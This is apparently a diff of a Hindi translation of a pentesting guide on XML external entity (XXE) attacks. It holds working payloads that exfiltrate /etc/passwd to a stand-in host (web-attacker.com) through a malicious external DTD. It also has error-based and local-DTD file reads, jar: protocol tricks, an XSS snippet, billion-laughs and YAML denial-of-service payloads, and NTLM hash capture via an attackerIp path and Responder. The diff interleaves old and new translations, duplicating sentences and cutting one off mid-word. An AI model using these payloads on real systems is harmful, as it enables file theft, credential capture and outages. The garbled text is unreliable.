यह DTD निम्नलिखित चरणों को पूरा करता है:
|
||||
|
||||
* `/etc/passwd` फाइल की सामग्री वाला एक XML पैरामीटर इकाई `file` को परिभाषित करता है।
|
||||
* `exfiltrate` नामक एक और XML पैरामीटर इकाई का गतिशील घोषणा वाला एक XML पैरामीटर इकाई `eval` को परिभाषित करता है। `exfiltrate` इकाई का मूल्यांकन URL क्वेरी स्ट्रिंग में `file` इकाई के मूल्य के साथ हमलावर के वेब सर्वर पर HTTP अनुरोध बनाकर किया जाएगा।
|
||||
* `eval` इकाई का उपयोग करता है, जिससे `exfiltrate` इकाई की गतिशील घोषणा की जाती है।
|
||||
* `exfiltrate` इकाई का उपयोग करता है, ताकि इसका मूल्य निर्दिष्ट URL पर अनुरोध करके मूल्यांकन किया जा सके।
|
||||
* `/etc/passwd` फ़ाइल की सामग्री को रखने वाले `file` नामक एक XML पैरामीटर एंटिटी को परिभाषित करता है।
|
||||
* एक और XML पैरामीटर एंटिटी `exfiltrate` के लिए एक गतिशील घोषणा को शामिल करने वाले `eval` नामक XML पैरामीटर एंटिटी को परिभाषित करता है। `exfiltrate` एंटिटी का मूल्य `file` एंटिटी की मान को URL क्वेरी स्ट्रिंग में शामिल करके हमले के वेब सर्वर पर HTTP अनुरोध भेजकर मूल्यांकन किया जाएगा।
|
||||
* `eval` एंटिटी का उपयोग करता है, जिससे `exfiltrate` एंटिटी की गतिशील घोषणा की प्रदर्शन की जाए।
|
||||
* `exfiltrate` एंटिटी का उपयोग करता है, ताकि उसका मूल्य निर्दिष्ट URL का अनुरोध करके मूल्यांकन किया जा सके।
|
||||
|
||||
हमलावर को फिर उस सिस्टम पर दुर्भावनापूर्ण DTD को होस्ट करना चाहिए जिसे वे नियंत्रित करते हैं, आमतौर पर इसे अपने वेबसर्वर पर लोड करके। उदाहरण के लिए, हमलावर निम्नलिखित URL पर दुर्भावनापूर्ण DTD को सेवा कर सकता है:\
|
||||
फिर हमलावर को इस दुरुपयोगी DTD को उस सिस्टम पर होस्ट करना होगा जिसे वह नियंत्रित करता है, सामान्यत: उसे अपने खुद के वेब सर्वर पर लोड करके। उदाहरण के लिए, हमलावर निम्नलिखित URL पर दुरुपयोगी DTD को सेवा कर सकता है:\
|
||||
`http://web-attacker.com/malicious.dtd`
|
||||
|
||||
अंत में, हमलावर को निम्नलिखित XXE पेलोड को कमजोर एप्लिकेशन में सबमिट करना चाहिए:
|
||||
अंततः, हमलावर को विकलांग एप्लिकेशन को निम्नलिखित XXE पेलोड प्रस्तुत करना होगा:
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### एरर आधारित (बाहरी DTD)
|
||||
यह XXE payload एक XML पैरामीटर एंटिटी को `xxe` घोषित करता है और फिर DTD में इस एंटिटी का उपयोग करता है। इससे XML पार्सर को हमलावर की सर्वर से बाहरी DTD को लाने और इसे इनलाइन अनुप्रेषित करने के लिए उत्तेजित किया जाएगा। दुर्भाग्यपूर्ण DTD में परिभाषित कदमों को फिर से निष्पादित किया जाता है, और `/etc/passwd` फ़ाइल हमलावर की सर्वर पर भेजी जाती है।
|
||||
|
||||
**इस स्थिति में हम सर्वर को एक दुर्भावनापूर्ण DTD लोड करने जा रहे हैं जो एक फाइल की सामग्री को एक एरर संदेश में दिखाएगा (यह केवल तब मान्य है जब आप एरर संदेश देख सकते हैं).** [**यहाँ से उदाहरण.**](https://portswigger.net/web-security/xxe/blind)
|
||||
### त्रुटि आधारित (बाहरी DTD)
|
||||
|
||||
आप निम्नलिखित तरीके से एक दुर्भावनापूर्ण बाहरी DTD का उपयोग करके `/etc/passwd` फाइल की सामग्री युक्त एक XML पार्सिंग एरर संदेश को ट्रिगर कर सकते हैं:
|
||||
**इस मामले में हम सर्वर को एक दुर्भाग्यपूर्ण DTD लोड कराने जा रहे हैं जो एक फ़ाइल की सामग्री को एक त्रुटि संदेश के अंदर दिखाएगा (यह केवल तभी मान्य है अगर आप त्रुटि संदेश देख सकते हैं)।** [**यहाँ से उदाहरण।**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
आप एक दुर्भाग्यपूर्ण बाहरी DTD का उपयोग करके `/etc/passwd` फ़ाइल की सामग्री शामिल करने वाले XML पार्सिंग त्रुटि संदेश को ट्रिगर कर सकते हैं:
|
||||
```markup
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
||||
%eval;
|
||||
%error;
|
||||
```
|
||||
यह DTD निम्नलिखित चरणों को अंजाम देता है:
|
||||
यह DTD निम्नलिखित चरणों को पूरा करता है:
|
||||
|
||||
* एक XML पैरामीटर इकाई को परिभाषित करता है जिसे `file` कहा जाता है, जिसमें `/etc/passwd` फाइल की सामग्री होती है।
|
||||
* एक XML पैरामीटर इकाई को परिभाषित करता है जिसे `eval` कहा जाता है, जिसमें एक और XML पैरामीटर इकाई का गतिशील घोषणा होती है जिसे `error` कहा जाता है। `error` इकाई का मूल्यांकन एक अस्तित्वहीन फाइल को लोड करके किया जाएगा जिसका नाम `file` इकाई के मूल्य को समाहित करता है।
|
||||
* `eval` इकाई का उपयोग करता है, जिससे `error` इकाई की गतिशील घोषणा की जाती है।
|
||||
* `error` इकाई का उपयोग करता है, ताकि इसका मूल्य एक अस्तित्वहीन फाइल को लोड करने की कोशिश करके मूल्यांकन किया जा सके, जिससे एक त्रुटि संदेश प्राप्त होता है जिसमें अस्तित्वहीन फाइल का नाम होता है, जो `/etc/passwd` फाइल की सामग्री है।
|
||||
* `/etc/passwd` फ़ाइल की सामग्री को रखने वाले XML पैरामीटर एंटिटी `file` को परिभाषित करता है।
|
||||
* एक और XML पैरामीटर एंटिटी `error` के एक गतिशील घोषणा को शामिल करने वाले XML पैरामीटर एंटिटी `eval` को परिभाषित करता है। `error` एंटिटी का मूल्य `file` एंटिटी के मान को शामिल करने वाली एक अस्तित्वहीन फ़ाइल को लोड करके मूल्यांकन किया जाएगा।
|
||||
* `eval` एंटिटी का उपयोग करता है, जिससे `error` एंटिटी की गतिशील घोषणा की प्रदर्शनीयता हो।
|
||||
* `error` एंटिटी का उपयोग करता है, ताकि इसका मूल्य अस्तित्वहीन फ़ाइल को लोड करने का मूल्यांकन करके एक त्रुटि संदेश प्राप्त हो, जिसमें अस्तित्वहीन फ़ाइल का नाम होता है, जो `/etc/passwd` फ़ाइल की सामग्री है।
|
||||
|
||||
बाहरी DTD त्रुटि को इस प्रकार पुकारें:
|
||||
बाहरी DTD त्रुटि को निमंत्रित करें:
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
और आपको वेब सर्वर के रिस्पॉन्स के एरर मैसेज में फाइल की सामग्री दिखनी चाहिए।
|
||||
और आपको वेब सर्वर के प्रतिक्रिया की त्रुटि संदेश के अंदर फ़ाइल की सामग्री देखनी चाहिए।
|
||||
|
||||
![](<../.gitbook/assets/image (223) (1).png>)
|
||||
|
||||
_**कृपया ध्यान दें कि बाहरी DTD हमें एक एंटिटी को दूसरे में शामिल करने की अनुमति देता है (****`eval`****), लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आमतौर पर बाहरी DTD का उपयोग किए बिना आप एरर को मजबूर नहीं कर सकते।**_
|
||||
_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे (****`eval`****) के भीतर एक एंटिटी शामिल करने की अनुमति देता है, लेकिन इसे आंतरिक DTD में प्रतिबंधित किया गया है। इसलिए, आप बिना बाहरी DTD का उपयोग किए एक त्रुटि को मजबूर नहीं कर सकते (सामान्यतः)।**_
|
||||
|
||||
### **एरर आधारित (सिस्टम DTD)**
|
||||
### **त्रुटि आधारित (सिस्टम DTD)**
|
||||
|
||||
तो जब **बाहरी संपर्क अवरुद्ध होते हैं** (बाहरी कनेक्शन उपलब्ध नहीं हैं) तो अंधा XXE संवेदनशीलता के बारे में क्या? [यहाँ से जानकारी](https://portswigger.net/web-security/xxe/blind).
|
||||
तो बाहरी कनेक्शन उपलब्ध नहीं होने पर ब्लाइंड XXE सुरक्षा दोषों के बारे में क्या है जब **आउट-ऑफ-बैंड इंटरैक्शन ब्लॉक है** (बाहरी कनेक्शन उपलब्ध नहीं है)?।
|
||||
|
||||
इस स्थिति में, **संवेदनशील डेटा युक्त एरर मैसेजेस को ट्रिगर करना** संभव हो सकता है, XML भाषा विनिर्देश में एक छेद के कारण। यदि किसी दस्तावेज़ का **DTD आंतरिक और बाहरी DTD घोषणाओं का मिश्रण उपयोग करता है**, तो **आंतरिक DTD बाहरी DTD में घोषित एंटिटीज को पुनर्परिभाषित कर सकता है**। जब यह होता है, तो एक पैरामीटर एंटिटी का उपयोग दूसरे पैरामीटर एंटिटी की परिभाषा में करने पर प्रतिबंध शिथिल हो जाता है।
|
||||
XML भाषा विनिर्देश में एक खामी संदर्भ में संवेदनशील डेटा को **त्रुटि संदेश के माध्यम से उजागर कर सकती है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाएँ मिलाता है**। यह समस्या बाहरी रूप से घोषित एंटिटी के आंतरिक पुनर्निर्धारण की अनुमति देती है, जो त्रुटि-आधारित XXE हमलों को कार्रवाई करने की सुविधा प्रदान करती है। ऐसे हमले XML पैरामीटर एंटिटी के पुनर्निर्धारण का शिकार होते हैं, जो मूल रूप से एक बाहरी DTD में घोषित किया गया है, आंतरिक DTD से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन ब्लॉक होते हैं, तो हमलावरों को हमला करने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, संवेदनशील जानकारी उजागर करने के लिए एक पार्सिंग त्रुटि को उत्पन्न करने का लक्ष्य रखते हैं।
|
||||
|
||||
इसका मतलब है कि एक हमलावर **आंतरिक DTD के भीतर से एरर-आधारित XXE तकनीक का उपयोग कर सकता है**, बशर्ते XML पैरामीटर एंटिटी जिसका वे उपयोग कर रहे हैं **बाहरी DTD में घोषित एक एंटिटी को पुनर्परिभाषित कर रहा हो**। बेशक, यदि बाहरी संपर्क अवरुद्ध हैं, तो बाहरी DTD को दूरस्थ स्थान से लोड नहीं किया जा सकता। इसके बजाय, यह एक **बाहरी DTD फाइल होनी चाहिए जो एप्लिकेशन सर्वर के स्थानीय हो**। _मूल रूप से, हमला स्थानीय फाइलसिस्टम पर मौजूद एक DTD फाइल को आह्वान करने और इसे संवेदनशील डेटा युक्त पार्सिंग एरर को ट्रिगर करने के लिए मौजूदा एंटिटी को पुनर्परिभाषित करने के लिए पुन: उपयोग करने में शामिल है।_
|
||||
|
||||
उदाहरण के लिए, मान लीजिए कि सर्वर फाइलसिस्टम पर `/usr/local/app/schema.dtd` स्थान पर एक DTD फाइल है, और इस DTD फाइल में `custom_entity` नामक एक एंटिटी परिभाषित है। एक हमलावर निम्नलिखित जैसे मिश्रित DTD को सबमिट करके `/etc/passwd` फाइल की सामग्री युक्त एक XML पार्सिंग एरर मैसेज को ट्रिगर कर सकता है:
|
||||
```markup
|
||||
समझौता करें एक परिदृश्य का जहां सर्वर की फ़ाइल सिस्टम में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल होती है, जिसमें `custom_entity` नामक एक एंटिटी परिभाषित होती है। एक हमलावर निम्नलिखित रूप में एक हाइब्रिड DTD प्रस्तुत करके `/etc/passwd` फ़ाइल की सामग्री को उजागर करने के लिए एक XML पार्सिंग त्रुटि को उत्पन्न कर सकता है:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
<!ENTITY % custom_entity '
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
|
||||
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
|
||||
%eval;
|
||||
%error;
|
||||
'>
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
यह DTD निम्नलिखित चरणों को अंजाम देता है:
|
||||
निर्दिष्ट चरण इस DTD द्वारा कार्रवाई की जाती है:
|
||||
|
||||
* XML पैरामीटर इकाई को `local_dtd` के रूप में परिभाषित करता है, जिसमें सर्वर फाइलसिस्टम पर मौजूद बाहरी DTD फाइल की सामग्री होती है।
|
||||
* XML पैरामीटर इकाई `custom_entity` को पुनः परिभाषित करता है, जो पहले से ही बाहरी DTD फाइल में परिभाषित है। इकाई को `/etc/passwd` फाइल की सामग्री वाले एक त्रुटि संदेश को ट्रिगर करने के लिए पहले वर्णित [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) के रूप में पुनः परिभाषित किया जाता है।
|
||||
* `local_dtd` इकाई का उपयोग करता है, ताकि बाहरी DTD की व्याख्या की जा सके, जिसमें `custom_entity` इकाई के पुनः परिभाषित मूल्य शामिल होते हैं। इससे वांछित त्रुटि संदेश प्राप्त होता है।
|
||||
- `local_dtd` नामक एक XML पैरामीटर एंटिटी की परिभाषा में सर्वर की फ़ाइल सिस्टम पर स्थित बाह्य DTD फ़ाइल शामिल है।
|
||||
- `custom_entity` XML पैरामीटर एंटिटी के लिए पुनर्निर्धारण होता है, जो पहले से बाह्य DTD में परिभाषित है, एक [त्रुटि-आधारित XXE शोषण](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को ढकने के लिए। यह पुनर्निर्धारण एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन किया गया है, जिससे `/etc/passwd` फ़ाइल की सामग्री उजागर होती है।
|
||||
- `local_dtd` एंटिटी का उपयोग करके, बाह्य DTD को सक्रिय किया जाता है, जिसमें नए रूप में परिभाषित `custom_entity` शामिल होता है। इस क्रियाओं के अनुक्रम से, शोषण द्वारा लक्षित त्रुटि संदेश का उत्पादन होता है।
|
||||
|
||||
**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप वातावरण का उपयोग करने वाली प्रणालियों में अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD होता है जिसमें `ISOamso` नामक एक इकाई होती है।
|
||||
**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप परिवेश का उपयोग करने वाले सिस्टमों में अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD होता है जिसमें `ISOamso` नामक एंटिटी होती है।
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
|
@ -232,24 +226,24 @@ _**कृपया ध्यान दें कि बाहरी DTD हम
|
|||
]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
```markdown
|
||||
![](<../.gitbook/assets/image (224).png>)
|
||||
|
||||
इस तकनीक का उपयोग **आंतरिक DTD** का उपयोग करता है, इसलिए आपको पहले एक मान्य DTD खोजना होगा। आप यह सर्वर का उपयोग कर रहे **OS / Software** को **स्थापित करके** और कुछ **डिफ़ॉल्ट DTDs की खोज करके**, या सिस्टम के अंदर **डिफ़ॉल्ट DTDs की एक सूची प्राप्त करके** और **जांच करके** कर सकते हैं कि कोई भी मौजूद है या नहीं:
|
||||
```
|
||||
जैसा कि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD खोजने की आवश्यकता है**। आप ऐसा **कर सकते हैं जब आप सर्वर का उपयोग कर रहे हैं वही OS / सॉफ्टवेयर इंस्टॉल करके** और **कुछ डिफ़ॉल्ट DTDs खोजने** के लिए, या सिस्टम्स के अंदर से **डिफ़ॉल्ट DTDs की सूची** प्राप्त करके **जांचें** यदि कोई उपलब्ध है:
|
||||
```markup
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
### सिस्टम के अंदर DTDs का पता लगाना
|
||||
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) देखें
|
||||
|
||||
### सिस्टम में DTDs खोजना
|
||||
|
||||
निम्नलिखित शानदार github रेपो में आप **सिस्टम में मौजूद DTDs के पथ** पा सकते हैं:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
|
||||
इसके अलावा, यदि आपके पास **पीड़ित सिस्टम की Docker इमेज** है, तो आप उसी रेपो के टूल का उपयोग करके **इमेज को स्कैन** कर सकते हैं और सिस्टम के अंदर मौजूद **DTDs का पथ पता** लगा सकते हैं। कैसे करना है यह जानने के लिए [github की Readme](https://github.com/GoSecure/dtd-finder) पढ़ें।
|
||||
इसके अतिरिक्त, यदि आपके पास **पीड़ित सिस्टम का डॉकर इमेज** है, तो आप इसी रेपो के उपकरण का उपयोग करके **इमेज** को **स्कैन** कर सकते हैं और **सिस्टम में मौजूद DTDs** का पथ **खोज** सकते हैं। [गिथब के Readme](https://github.com/GoSecure/dtd-finder) को पढ़ें और सीखें।
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
|
@ -261,59 +255,50 @@ Testing 0 entities : []
|
|||
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
||||
Testing 0 entities : []
|
||||
```
|
||||
### XXE के माध्यम से Office Open XML Parsers
|
||||
### XXE के माध्यम से ऑफिस ओपन XML पार्सर्स
|
||||
|
||||
इस हमले की अधिक गहराई से समझ के लिए, **[इस अद्भुत पोस्ट](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) का दूसरा भाग देखें जो Detectify से है**।
|
||||
इस हमले का और गहराई से समझने के लिए, **[इस शानदार पोस्ट](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) के दूसरे खंड की जाँच करें**।
|
||||
|
||||
**Microsoft Office दस्तावेज़ अपलोड करने की क्षमता कई वेब एप्लिकेशन द्वारा प्रदान की जाती है**, जो फिर इन दस्तावेज़ों से कुछ विवरण निकालने के लिए आगे बढ़ते हैं। उदाहरण के लिए, एक वेब एप्लिकेशन उपयोगकर्ताओं को XLSX प्रारूप स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति दे सकता है। स्प्रेडशीट से डेटा निकालने के लिए, पार्सर को कम से कम एक XML फ़ाइल को पार्स करना अनिवार्य होगा।
|
||||
**कई वेब एप्लिकेशन्स द्वारा माइक्रोसॉफ्ट ऑफिस दस्तावेज़ अपलोड करने की क्षमता प्रदान की जाती है**, जो फिर इन दस्तावेज़ से कुछ विशेष विवरणों को निकालते हैं। उदाहरण के लिए, एक वेब एप्लिकेशन उपयोगकर्ताओं को एक XLSX प्रारूप स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति देती है। पार्सर को स्प्रेडशीट से डेटा निकालने के लिए, यह अवश्यंभावी रूप से कम से कम एक XML फ़ाइल को पार्स करने की आवश्यकता होगी।
|
||||
|
||||
इस संवेदनशीलता की जांच के लिए, एक **Microsoft Office फ़ाइल बनाना आवश्यक है जिसमें XXE पेलोड हो**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सके।
|
||||
इस वंशानुक्रमिकता की जाँच के लिए, एक **माइक्रोसॉफ्ट ऑफिस फ़ाइल बनाना आवश्यक है जिसमें एक XXE पेलोड शामिल हो**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सकता है।
|
||||
|
||||
एक बार दस्तावेज़ को अनज़िप कर दिया गया है, `./unzipped/word/document.xml` पर स्थित XML फ़ाइल को खोला जाना चाहिए और एक पसंदीदा टेक्स्ट एडिटर (जैसे कि vim) में संपादित किया जाना चाहिए। XML को वांछित XXE पेलोड को शामिल करने के लिए संशोधित किया जाना चाहिए, अक्सर एक HTTP अनुरोध के साथ शुरू होता है।
|
||||
जब दस्तावेज़ को अनज़िप कर दिया गया है, तो `./unzipped/word/document.xml` पर स्थित XML फ़ाइल को एक पसंदीदा पाठ संपादक (जैसे vim) में खोलकर संपादित किया जाना चाहिए। XML को जीवंश शामिल करने के लिए बदला जाना चाहिए, अक्सर एक HTTP अनुरोध के साथ शुरू होता है।
|
||||
|
||||
संशोधित XML लाइनों को दो मूल XML ऑब्जेक्ट्स के बीच में डाला जाना चाहिए। यह महत्वपूर्ण है कि URL को अनुरोधों के लिए एक निगरानी योग्य URL के साथ बदला जाए।
|
||||
|
||||
अंत में, फ़ाइल को ज़िप करके दुर्भावनापूर्ण poc.docx फ़ाइल बनाई जा सकती है। पहले बनाई गई "unzipped" निर्देशिका से, निम्नलिखित कमांड चलानी चाहिए:
|
||||
|
||||
अब, बनाई गई फ़ाइल को संभावित रूप से संवेदनशील वेब एप्लिकेशन में अपलोड किया जा सकता है, और एक को उम्मीद करनी चाहिए कि Burp Collaborator लॉग्स में एक अनुरोध दिखाई दे।
|
||||
|
||||
|
||||
### Jar: प्रोटोकॉल
|
||||
|
||||
`jar` प्रोटोकॉल केवल **Java एप्लिकेशन** पर उपलब्ध है। यह **PKZIP** फ़ाइल (`.zip`, `.jar`, ...) के अंदर की फ़ाइलों तक पहुँचने की अनुमति देता है और स्थानीय और दूरस्थ फ़ाइलों के लिए काम करता है:
|
||||
संशोधित XML लाइनें दो जड़ XML ऑब्ज
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
PKZIP फाइलों के अंदर की फाइलों तक पहुँचना **system DTD फाइलों के माध्यम से XXE का दुरुपयोग करने के लिए अत्यंत उपयोगी है।** [इस अनुभाग को देखें system DTD फाइलों का दुरुपयोग कैसे करें](xxe-xee-xml-external-entity.md#error-based-system-dtd)।
|
||||
PKZIP फ़ाइल्स के अंदर फ़ाइलों तक पहुँचना **XXE को उपयोग करने के लिए बहुत उपयोगी है जिसके माध्यम से सिस्टम DTD फ़ाइलों का दुरुपयोग किया जा सकता है।** [इस खंड को जानने के लिए देखें कि सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे किया जाए](xxe-xee-xml-external-entity.md#error-based-system-dtd)।
|
||||
{% endhint %}
|
||||
|
||||
#### पर्दे के पीछे
|
||||
#### परदे के पीछे
|
||||
|
||||
1. यह zip संग्रह को लोड करने के लिए HTTP अनुरोध करता है। `https://download.host.com/myarchive.zip`
|
||||
1. यह ज़िप आर्काइव लोड करने के लिए एक HTTP अनुरोध बनाता है। `https://download.host.com/myarchive.zip`
|
||||
2. यह HTTP प्रतिक्रिया को एक अस्थायी स्थान पर सहेजता है। `/tmp/...`
|
||||
3. यह संग्रह को निकालता है।
|
||||
3. यह आर्काइव का अभिनिष्ठान करता है।
|
||||
4. यह `file.zip` को पढ़ता है।
|
||||
5. यह अस्थायी फाइलों को हटा देता है।
|
||||
5. यह अस्थायी फ़ाइलें हटाता है।
|
||||
|
||||
ध्यान दें कि दूसरे चरण में प्रवाह को रोकना संभव है। चाल यह है कि फाइल की सेवा करते समय कनेक्शन को कभी न बंद करें। [यह उपकरण उपयोगी हो सकते हैं](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution): एक python में `slow_http_server.py` और एक java में `slowserver.jar`।
|
||||
ध्यान दें कि दूसरे स्टेप में फ्लो को रोकना संभव है। यह ट्रिक है कि फ़ाइल को सेव करते समय कनेक्शन को कभी बंद न करें। [यह उपकरण उपयोगी हो सकते हैं](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution): एक पायथन में `slow_http_server.py` और एक जावा में `slowserver.jar`.
|
||||
|
||||
एक बार जब सर्वर आपकी फाइल को डाउनलोड कर लेता है, तो आपको temp डायरेक्टरी को ब्राउज़ करके उसका स्थान ढूँढना होगा। यादृच्छिक होने के कारण, फाइल पथ का पूर्वानुमान नहीं लगाया जा सकता है।
|
||||
जब सर्वर ने आपकी फ़ाइल डाउनलोड कर ली हो, तो आपको उसकी स्थान को खोजने की आवश्यकता है जिसे अस्थायी निर्देशिका में ब्राउज़ करके पाया जा सकता है। यह यादृच्छिक होने के कारण, फ़ाइल पथ को पहले से ही पूर्वानुमान नहीं किया जा सकता है।
|
||||
|
||||
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
|
||||
|
||||
{% hint style="danger" %}
|
||||
एक अस्थायी निर्देशिका में फाइलें लिखना **किसी अन्य भेद्यता को बढ़ाने में मदद कर सकता है जिसमें पथ पारगमन शामिल हो** (जैसे कि स्थानीय फाइल शामिल करना, टेम्प्लेट इंजेक्शन, XSLT RCE, डिसीरियलाइजेशन, आदि)।
|
||||
एक अस्थायी निर्देशिका में फ़ाइलें लिखना एक और भेदभाव को बढ़ाने में मदद कर सकता है जो एक पथ अभिवर्तन (जैसे स्थानीय फ़ाइल समावेश, टेम्पलेट इन्जेक्शन, XSLT RCE, डेसीरियलाइज़ेशन, आदि) को शामिल करता है।
|
||||
{% endhint %}
|
||||
|
||||
### XSS
|
||||
```markup
|
||||
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
|
||||
```
|
||||
### DoS
|
||||
### डीओएस
|
||||
|
||||
#### Billion Laugh Attack
|
||||
#### बिलियन हंसी हमला
|
||||
```markup
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY a0 "dos" >
|
||||
|
@ -336,13 +321,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
|||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
```
|
||||
#### क्वाड्रेटिक ब्लोअप अटैक
|
||||
#### चौकस ब्लोअप हमला
|
||||
|
||||
![](<../.gitbook/assets/image (531).png>)
|
||||
|
||||
#### NTML प्राप्त करना
|
||||
|
||||
विंडोज होस्ट्स पर वेब सर्वर यूजर का NTML हैश प्राप्त करना संभव है एक responder.py हैंडलर सेट करके:
|
||||
Windows होस्ट पर वेब सर्वर उपयोगकर्ता का NTML हैश प्राप्त करना संभव है एक responder.py हैंडलर सेट करके:
|
||||
```
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
|
@ -352,43 +337,47 @@ Responder.py -I eth0 -v
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
तब आप हैश को क्रैक करने की कोशिश कर सकते हैं hashcat का उपयोग करके
|
||||
Then you can try to crack the hash using hashcat
|
||||
|
||||
## छिपे हुए XXE सतह
|
||||
## छिपी हुई XXE सतहें
|
||||
|
||||
### XInclude
|
||||
|
||||
[यहाँ से।](https://portswigger.net/web-security/xxe)
|
||||
कुछ परिदृश्यों में, **क्लाइंट द्वारा भेजे गए डेटा को सर्वर-साइड प्रक्रियाओं द्वारा XML दस्तावेज में शामिल किया जाता है पार्सिंग से पहले**। यह सामान्यत: तब होता है जब क्लाइंट डेटा को एक **बैकएंड SOAP अनुरोध** में एकीकृत किया जाता है, जिसे बाद में बैकएंड पर SOAP सेवा द्वारा संभाला जाता है।
|
||||
|
||||
कुछ एप्लिकेशन **ग्राहक-प्रस्तुत डेटा प्राप्त करते हैं, इसे सर्वर-साइड पर एक XML दस्तावेज़ में एम्बेड करते हैं, और फिर दस्तावेज़ को पार्स करते हैं**। इसका एक उदाहरण तब होता है जब ग्राहक-प्रस्तुत डेटा को एक **बैकएंड SOAP अनुरोध** में रखा जाता है, जिसे फिर बैकएंड SOAP सेवा द्वारा संसाधित किया जाता है।
|
||||
इन परिस्थितियों में पारंपरिक XXE (XML External Entity) हमला करना चुनौतीपूर्ण साबित होता है क्योंकि XML दस्तावेज के पूर्णता पर प्रतिबंध कम होता है, विशेष रूप से `DOCTYPE` तत्व को संशोधित या प्रस्तुत करने की अक्षमता। हालांकि, `XInclude` का लाभ उठाना, XML मानक का एक सुविधा जो एक XML दस्तावेज को छोटे उप-दस्तावेज से बनाने की संभावना देती है, एक उपाय प्रस्तुत करता है। यह दृष्टिकोण एक XML दस्तावेज के किसी भी डेटा तत्व में `XInclude` हमले की अनुमति देता है, जिससे एक सर्वर-जनित XML दस्तावेज में एक व्यक्तिगत डेटा टुकड़े पर नियंत्रण पर प्रतिबंध होता है।
|
||||
|
||||
इस स्थिति में, आप क्लासिक XXE हमला नहीं कर सकते, क्योंकि **आप पूरे XML** दस्तावेज़ को नियंत्रित नहीं करते हैं और इसलिए `DOCTYPE` तत्व को परिभाषित या संशोधित नहीं कर सकते। हालांकि, आप `XInclude` का उपयोग कर सकते हैं। `XInclude` XML विनिर्देश का एक हिस्सा है जो एक XML दस्तावेज़ को उप-दस्तावेज़ों से बनाने की अनुमति देता है। आप किसी भी डेटा मूल्य में `XInclude` हमले को रख सकते हैं, इसलिए हमला उन स्थितियों में किया जा सकता है जहां आप केवल एक एकल डेटा आइटम को नियंत्रित करते हैं जिसे सर्वर-साइड XML दस्तावेज़ में रखा जाता है।
|
||||
|
||||
